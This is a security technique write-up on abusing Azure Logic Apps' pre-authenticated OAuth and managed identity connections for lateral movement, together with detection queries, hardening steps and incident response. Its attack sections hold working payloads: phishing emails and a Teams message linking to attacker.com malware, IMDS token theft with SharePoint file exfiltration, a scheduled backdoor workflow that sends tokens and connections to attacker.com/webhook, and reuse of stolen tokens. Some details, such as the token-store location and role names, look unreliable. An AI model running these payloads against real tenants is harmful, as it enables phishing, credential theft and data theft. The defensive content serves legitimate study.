| Attribute | Details |
|---|---|
| Technique ID | LM-AUTH-033 |
| MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material |
| Tactic | Lateral Movement |
| Platforms | Entra ID, Azure Logic Apps |
| Severity | High |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | Azure Logic Apps (Consumption, Standard, ISE); all versions |
| Patched In | N/A (Requires configuration and monitoring hardening) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure Logic Apps are low-code workflow automation tools that can be configured with managed identities, service principal credentials, or OAuth token connections to authenticate to multiple downstream services (Outlook, SharePoint, Office 365, custom APIs, Azure services, etc.). When a Logic App is compromised (via workflow manipulation, connector injection, or credential injection in the workflow JSON), an attacker can leverage the app’s existing authentication chains to “hop” between multiple services without requiring additional credentials. The logic app becomes a trusted intermediary that automatically re-authenticates to downstream services on behalf of the attacker, bypassing normal MFA and conditional access controls that would apply to direct user authentication.
Attack Surface: Logic App workflow JSON (stored in Azure Portal or source control); managed identity tokens retrieved from IMDS; connector credentials stored in secure environment variables; OAuth tokens cached in the Logic App’s token store; API connections with pre-configured service principals.
Business Impact: Complete chain of authentication bypass across SaaS and Azure services. An attacker can send emails via Outlook/Exchange (using the logic app’s identity), access SharePoint sites, create Teams messages, modify M365 resources, and trigger cascading workflows. If the logic app is connected to critical business systems (payment processors, ERP systems, CRM platforms), the attacker can manipulate business-critical data without MFA or audit detection.
Technical Context: Once a logic app’s credentials or managed identity token are obtained, authentication chain exploitation is nearly instantaneous. The attacker simply calls the same APIs the logic app normally calls, but with malicious parameters. Detection is difficult because the logic app’s identity is authenticated; audit logs show the logic app (not the attacker) making the calls.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 1.2.3 | Ensure Logic Apps use managed identities |
| CIS Benchmark | 2.1.7 | Monitor Logic App connector authentication |
| DISA STIG | V-254384 | Restrict Logic App to required connectors only |
| CISA SCuBA | C.2.1 | Monitor OAuth token usage |
| NIST 800-53 | AC-3 | Access Enforcement |
| NIST 800-53 | AU-2 | Audit Events |
| GDPR | Art. 32 | Security of Processing |
| DORA | Art. 9 | Protection and Prevention |
| NIS2 | Art. 21 | Cyber Risk Management |
| ISO 27001 | A.9.2.3 | Management of Privileged Access Rights |
| ISO 27005 | Risk Scenario | Unauthorized Access via Compromised Workflow |
Supported Versions: Azure Logic Apps Consumption, Standard, ISE; all versions
Objective: Enumerate all connectors configured in a compromised logic app and their capabilities.
Command (PowerShell - Azure Portal API):
# Get the logic app definition
$logicApp = Get-AzLogicApp -ResourceGroupName $rg -Name "my-logic-app"
# Export the workflow JSON
$workflow = Get-AzResource -ResourceId $logicApp.Id -ExpandProperties
$workflowDefinition = $workflow.Properties.definition
# Display all connections used in the workflow
$workflowDefinition.actions | Where-Object {$_.type -eq "OpenApiConnection"} | ForEach-Object {
Write-Host "Connector: $($_.inputs.host.connection.name)"
Write-Host " Managed By: $($_.inputs.host.connection.referenceName)"
}
# Alternative: Directly query the API connections
Get-AzResource -ResourceType "Microsoft.Web/connections" -ResourceGroupName $rg | ForEach-Object {
$conn = Get-AzResource -ResourceId $_.ResourceId -ExpandProperties
Write-Host "Connection: $($conn.Name)"
Write-Host " Type: $($conn.Kind)"
Write-Host " Status: $($conn.Properties.statuses)"
}
Expected Output:
Connector: Outlook.com (OAuth)
Managed By: outlook-connection
Status: Connected
Connector: SharePoint (Managed Identity)
Managed By: sharepoint-connection
Status: Connected
Connector: Office 365 Outlook (OAuth)
Managed By: office365-connection
Status: Connected
Connector: Azure Blob Storage (Managed Identity)
Managed By: storage-connection
Status: Connected
What This Means:
OpSec & Evasion:
Troubleshooting:
The resource group 'X' does not exist
References & Proofs:
Objective: Use the logic app’s pre-authenticated connections to perform unauthorized actions.
Example 1: Send Phishing Email via Outlook (OAuth Connection)
Command (Logic App Workflow JSON):
{
"definition": {
"actions": {
"Send_email_from_compromised_connection": {
"type": "OpenApiConnection",
"inputs": {
"host": {
"connection": {
"name": "@parameters('$connections')['office365']['connectionId']"
}
},
"method": "post",
"path": "/v2/Mail/SendMail",
"body": {
"To": "executives@companyx.com",
"Subject": "Urgent: Update Your Password",
"Body": "<html><body>Click here to verify your account: <a href='https://attacker.com/phishing'>https://outlook.office.com/login</a></body></html>",
"IsHtml": true,
"Importance": "High"
}
}
}
}
}
}
Alternative (via PowerShell directly):
# Retrieve the Office 365 connection credentials
$connectionId = "/subscriptions/{subscriptionId}/resourceGroups/{rg}/providers/Microsoft.Web/connections/office365-outlook"
# Use the logic app's token to send an email
$emailParams = @{
To = "target@company.com"
Subject = "Verify Your Account"
Body = "<a href='https://attacker.com/phishing'>Click to verify</a>"
IsHtml = $true
}
# Invoke the Outlook API using the logic app's OAuth token
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/sendMail" `
-Method Post `
-Headers @{Authorization = "Bearer $token"} `
-Body ($emailParams | ConvertTo-Json)
Expected Output:
Email sent successfully from user@company.com
Recipient: executives@companyx.com
Subject: Urgent: Update Your Password
// No authentication required - logic app's OAuth token automatically used
What This Means:
OpSec & Evasion:
Example 2: Access SharePoint and Extract Data (Managed Identity)
Command:
# Retrieve SharePoint token using the logic app's managed identity
$token = (Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2019-08-01&resource=https://graph.microsoft.com" `
-Headers @{"X-IDENTITY-HEADER"=$env:IDENTITY_HEADER}).access_token
# List all SharePoint sites the logic app has access to
$response = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/sites" `
-Headers @{Authorization = "Bearer $token"}
$response.value | ForEach-Object {
Write-Host "Site: $($_.displayName)"
Write-Host " ID: $($_.id)"
}
# Access a specific SharePoint site and extract documents
$siteId = $response.value[0].id
$driveResponse = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/sites/$siteId/drives" `
-Headers @{Authorization = "Bearer $token"}
$driveResponse.value | ForEach-Object {
$driveId = $_.id
$itemsResponse = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/drives/$driveId/root/children" `
-Headers @{Authorization = "Bearer $token"}
$itemsResponse.value | ForEach-Object {
Write-Host " File: $($_.name)"
# Download sensitive files
if ($_.name -match "\.(xlsx|docx|pdf|sql|json|yaml)$") {
Write-Host " [EXFIL] Downloading $($_.name)"
# Download content via download URL
}
}
}
Expected Output:
Site: Finance & Operations
ID: site-id-12345
File: Budget_2024.xlsx
[EXFIL] Downloading Budget_2024.xlsx
File: Database_Credentials.json
[EXFIL] Downloading Database_Credentials.json
What This Means:
OpSec & Evasion:
Example 3: Create Teams Message to Spread Malware/Phishing (OAuth)
Command:
{
"definition": {
"actions": {
"Post_message_in_Teams": {
"type": "OpenApiConnection",
"inputs": {
"host": {
"connection": {
"name": "@parameters('$connections')['teams']['connectionId']"
}
},
"method": "post",
"path": "/beta/teams/conversation/flattened/my/channels/@{encodeURIComponent('General')}/messages",
"body": {
"body": {
"content": "🔔 **URGENT SECURITY ALERT** 🔔\n\nPlease download the updated VPN client to access remote resources:\n[Download VPN Client](https://attacker.com/malware.exe)\n\nClick the link above to stay secure!",
"contentType": "html"
}
}
}
}
}
}
}
Expected Output:
Message posted to Teams channel
Channel: General
Posted by: Logic App Bot (trusted identity)
Content: Download link to attacker-controlled malware
// All team members receive the message from a trusted source
What This Means:
OpSec & Evasion:
Objective: Embed a backdoor in the logic app workflow that executes attacker-controlled actions on a schedule.
Command (Backdoor Workflow Addition):
{
"definition": {
"triggers": {
"Recurrence": {
"type": "Recurrence",
"recurrence": {
"frequency": "Hour",
"interval": 1
}
}
},
"actions": {
"Attacker_Backdoor": {
"type": "Http",
"inputs": {
"method": "POST",
"uri": "https://attacker.com/webhook",
"body": {
"token": "@outputs('Get_Token')",
"connections": "@parameters('$connections')",
"command_from_attacker": "@triggerBody()"
}
}
},
"Execute_Attacker_Command": {
"type": "If",
"expression": "@equals(body('Attacker_Backdoor').action, 'send_email')",
"actions": {
"Execute_Email_Action": {
"type": "OpenApiConnection",
"inputs": {
"host": {
"connection": {
"name": "@parameters('$connections')['office365']['connectionId']"
}
},
"method": "post",
"path": "/v2/Mail/SendMail",
"body": {
"To": "@body('Attacker_Backdoor').target_email",
"Subject": "@body('Attacker_Backdoor').subject",
"Body": "@body('Attacker_Backdoor').body"
}
}
}
}
}
}
}
}
What This Means:
OpSec & Evasion:
Supported Versions: Azure Logic Apps all versions
Objective: Logic Apps cache OAuth tokens in App Service storage for reuse. Accessing this storage grants access to cached tokens.
Command (PowerShell):
# Logic Apps store tokens in App Service storage
# Navigate to: %TEMP%\..\..\..\..\home\site\wwwroot\data\tokens (on App Service)
# Retrieve the token store credentials
$appServicePrincipal = Get-AzADApplication -DisplayName "my-logic-app"
# Access the App Service storage
$storageAccount = Get-AzStorageAccount -ResourceGroupName $rg -Name "logicappdata$region"
# List stored tokens
$ctx = $storageAccount.Context
$container = Get-AzStorageContainer -Context $ctx -Name "logic-app-tokens"
Get-AzStorageBlob -Container "logic-app-tokens" -Context $ctx | ForEach-Object {
$tokenBlob = Get-AzStorageBlobContent -Blob $_.Name -Container "logic-app-tokens" -Context $ctx
Write-Host "Token: $($_.Name)"
Write-Host " Content: $(Get-Content $_.Name -Raw)"
}
Expected Output:
Token: outlook-oauth-token
Content: {"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs...","refresh_token":"0.ARoA123456...","expires_in":3600}
Token: sharepoint-oauth-token
Content: {"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs...","refresh_token":"0.AboA789012...","expires_in":3600}
What This Means:
OpSec & Evasion:
Objective: Use the stolen OAuth tokens to authenticate to downstream services as the logic app.
Command (PowerShell):
# Use stolen Outlook token to send email
$outlookToken = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs..."
$headers = @{
"Authorization" = "Bearer $outlookToken"
"Content-Type" = "application/json"
}
$body = @{
"message" = @{
"subject" = "Verify Your Account"
"body" = @{
"contentType" = "HTML"
"content" = "Click here: <a href='https://attacker.com/phishing'>https://outlook.office.com</a>"
}
"toRecipients" = @(
@{
"emailAddress" = @{
"address" = "cfo@company.com"
}
}
)
}
} | ConvertTo-Json
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me/sendMail" `
-Method Post `
-Headers $headers `
-Body $body
Expected Output:
Email sent successfully using stolen Outlook token
What This Means:
OpSec & Evasion:
Rule Configuration:
AzureActivity, AuditLogsOperationName, OperationNameValue, ActivityDateTime, InitiatedByKQL Query:
AzureActivity
| where ResourceProvider == "MICROSOFT.LOGIC" and OperationNameValue contains "LogicApps"
and (OperationNameValue contains "Update" or OperationNameValue contains "Put")
and Properties.statusCode == 200
| where InitiatedBy !contains "Microsoft.Logic/workflows" // Exclude system operations
| summarize ModificationCount=count() by InitiatedBy, ResourceGroup, TimeGenerated
| where ModificationCount > 1 // Threshold: multiple modifications
| project TimeGenerated, ModifiedBy=InitiatedBy, ResourceGroup, ModificationCount
What This Detects:
Manual Configuration Steps (Azure Portal):
Suspicious Logic App Workflow ModificationCriticalReal-timeRule Configuration:
AzureFunctionAppLogs (if available) or AppServiceHTTPLogsCsUriStem, CsMethod, CsUserAgent, ScStatusKQL Query:
AppServiceHTTPLogs
| where AppServiceResourceName contains "logicapp"
and (CsUriStem contains "attacker.com" or CsUriStem contains "webhook" or CsUriStem contains "exfil")
and ScStatus == 200
| summarize HTTPCalls=count() by AppServiceResourceName, CsUriStem, ClientIP
| where HTTPCalls > 1 // Threshold: repeated calls to suspicious URL
| project AppServiceResourceName, SuspiciousURL=CsUriStem, SourceIP=ClientIP, CallCount=HTTPCalls
What This Detects:
Event ID: 5379 (Credential Manager Accessed)
Manual Configuration Steps (Azure Portal):
Use Managed Identities Instead of OAuth Tokens: Replace OAuth connections with managed identity connections wherever possible.
Current Configuration (OAuth – Token Stored):
{
"connections": {
"office365": {
"connectionId": "/subscriptions/xxx/resourceGroups/xxx/providers/Microsoft.Web/connections/office365",
"connectionName": "office365-outlook",
"id": "/subscriptions/xxx/providers/Microsoft.Web/locations/eastus/managedApis/office365"
}
}
}
Hardened Configuration (Managed Identity):
{
"properties": {
"systemAssignedIdentityObjectId": "87654321-4321-4321-4321-210987654321",
"definition": {
"actions": {
"Send_email": {
"type": "OpenApiConnection",
"inputs": {
"host": {
"connection": {
"name": "@parameters('$connections')['office365']['connectionId']"
},
"authentication": {
"type": "ManagedServiceIdentity"
}
}
}
}
}
}
}
}
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Enable managed identity
Update-AzLogicApp -ResourceGroupName $rg -Name $logicAppName -IdentityType SystemAssigned
# Assign necessary roles to the managed identity
$principalId = (Get-AzLogicApp -ResourceGroupName $rg -Name $logicAppName).Identity.PrincipalId
New-AzRoleAssignment -ObjectId $principalId -RoleDefinitionName "Outlook.ReadWrite" `
-Scope "/subscriptions/$subscriptionId"
Restrict Logic App Connectors: Disable unnecessary connectors to reduce attack surface.
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Retrieve the logic app definition
$logicApp = Get-AzLogicApp -ResourceGroupName $rg -Name $logicAppName
$definition = $logicApp.Definition | ConvertTo-Json
# Remove OAuth connections from the workflow
$definition = $definition -replace '"auth":\s*{[^}]*}', ''
# Update the logic app
Set-AzLogicApp -ResourceGroupName $rg -Name $logicAppName -Definition $definition
Implement Least-Privilege Role Assignments: Ensure the logic app’s managed identity has only the minimum required permissions.
Manual Steps (Azure Portal):
SharePoint List Item Contributor instead of Site Admin)Enable Azure Policy to Enforce Managed Identity: Use Azure Policy to prevent creation of logic apps without managed identities.
Manual Steps (Azure Portal):
Enforce Managed Identity for Logic Apps{
"if": {
"allOf": [
{
"field": "type",
"equals": "Microsoft.Logic/workflows"
},
{
"field": "identity.type",
"notEquals": "SystemAssigned"
}
]
},
"then": {
"effect": "Deny"
}
}
Monitor Workflow Definition Changes: Enable audit logging to detect unauthorized workflow modifications.
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
$workspaceId = (Get-AzOperationalInsightsWorkspace -ResourceGroupName $rg -Name $workspaceName).ResourceId
New-AzDiagnosticSetting -Name "LogicApp-Audit-Logging" `
-ResourceId "/subscriptions/$subscriptionId/resourceGroups/$rg/providers/Microsoft.Logic/workflows/$logicAppName" `
-WorkspaceId $workspaceId `
-Enabled $true `
-Category "WorkflowRuntime", "WorkflowMetricsEvent"
Restrict HTTP Connector Usage: Disable or monitor the HTTP connector to prevent outbound exfiltration.
Manual Steps (Azure Portal):
Alternative (Network Security Group):
Implement Conditional Access Policy: Require device compliance and MFA for logic app authentication.
Manual Steps (Azure Portal):
Restrict Logic App AuthenticationImplement Network Security Groups: Restrict Logic App outbound connectivity.
Manual Steps (Azure Portal):
Enable Azure Defender for App Service: Monitor logic app runtime for suspicious behavior.
Manual Steps (Azure Portal):
# Check if logic app has managed identity enabled
az logicapp show --name <logic-app-name> --resource-group <rg> --query 'identity.type'
# Expected: SystemAssigned or UserAssigned
# Verify managed identity role assignments
$appId = (az logicapp show --name <logic-app-name> --resource-group <rg> --query 'identity.principalId' -o tsv)
az role assignment list --assignee $appId --output table
# Check workflow definition for OAuth connections
az logicapp definition get --name <logic-app-name> --resource-group <rg> | grep -i "oauth" | wc -l
# Expected: 0 (no OAuth connections)
# Verify HTTP connector restrictions
az logicapp definition get --name <logic-app-name> --resource-group <rg> | grep -i "http" | grep -i "connector"
What to Look For:
az logicapp run list shows all executions (check for suspicious actions)# Disable the logic app
az logicapp stop --name <logic-app-name> --resource-group <rg>
# Or remove all connectors to prevent further damage
az logicapp definition update --name <logic-app-name> --resource-group <rg> --definition '{"version":"1.0.0.0"}'
Manual (Azure Portal):
# Export workflow definition
az logicapp definition get --name <logic-app-name> --resource-group <rg> > /evidence/workflow-definition.json
# Export run history
az logicapp run list --name <logic-app-name> --resource-group <rg> --output json > /evidence/run-history.json
# Export Azure audit logs
az monitor activity-log list --resource-group <rg> --offset 24h > /evidence/activity-logs.txt
# Recreate the logic app with secure configuration
# 1. Remove compromised connectors
# 2. Replace OAuth with managed identity
# 3. Reduce role assignments to least privilege
# 4. Re-deploy from source control (if available)
az logicapp definition update --name <logic-app-name> --resource-group <rg> --definition <clean-definition.json>
# Rotate all tokens and passwords
# Force all downstream services to re-authenticate
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-EXPLOIT-003] Logic App HTTP Trigger Abuse | Exposed Logic App endpoint compromised |
| 2 | Execution | Workflow Modification or Token Injection | Malicious workflow added or token stolen |
| 3 | Lateral Movement | [LM-AUTH-033] Logic App Authentication Chain | Current Step: OAuth/Managed identity tokens used to hop to downstream services |
| 4 | Impact | Phishing, Data Exfiltration via SharePoint/Outlook | Emails sent, documents accessed, data stolen |
| 5 | Persistence | Backdoor workflow trigger | Long-term access maintained via scheduled trigger |